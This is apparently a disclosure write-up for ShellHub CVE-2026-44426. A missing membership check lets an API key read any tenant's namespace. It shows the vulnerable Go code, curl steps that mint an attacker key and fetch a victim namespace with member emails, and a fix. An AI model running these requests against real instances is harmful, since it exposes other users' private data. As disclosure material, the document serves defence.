ShellHub Community CVE-2026-44426

  var uid string
  if c.ID() != nil {
      uid = c.ID().ID
  }

  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
  if err != nil || ns == nil {
      return c.NoContent(http.StatusNotFound)
  }

  if uid != "" {                              // ⚠️ skipped when API Key is used
      if _, ok := ns.FindMember(uid); !ok {
          return c.NoContent(http.StatusForbidden)
      }
  }

  return c.JSON(http.StatusOK, ns)

# Attacker authenticates in their own namespace and mints an API Key
  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker","password":"..."}' | jq -r .token)

  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"poc","expires_at":30}' | jq -r .id)
# Baseline: same request with JWT is correctly blocked
  curl -i http://target/api/namespaces/<victim-tenant-uuid> \
    -H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)
# Exploit: same request with API Key returns full namespace
  curl -i http://target/api/namespaces/<victim-tenant-uuid> \
    -H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
#                      settings, max_devices, devices_accepted_count, type, created_at}

     // nsadm.go GetNamespace
     if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
         return c.NoContent(http.StatusForbidden)
     }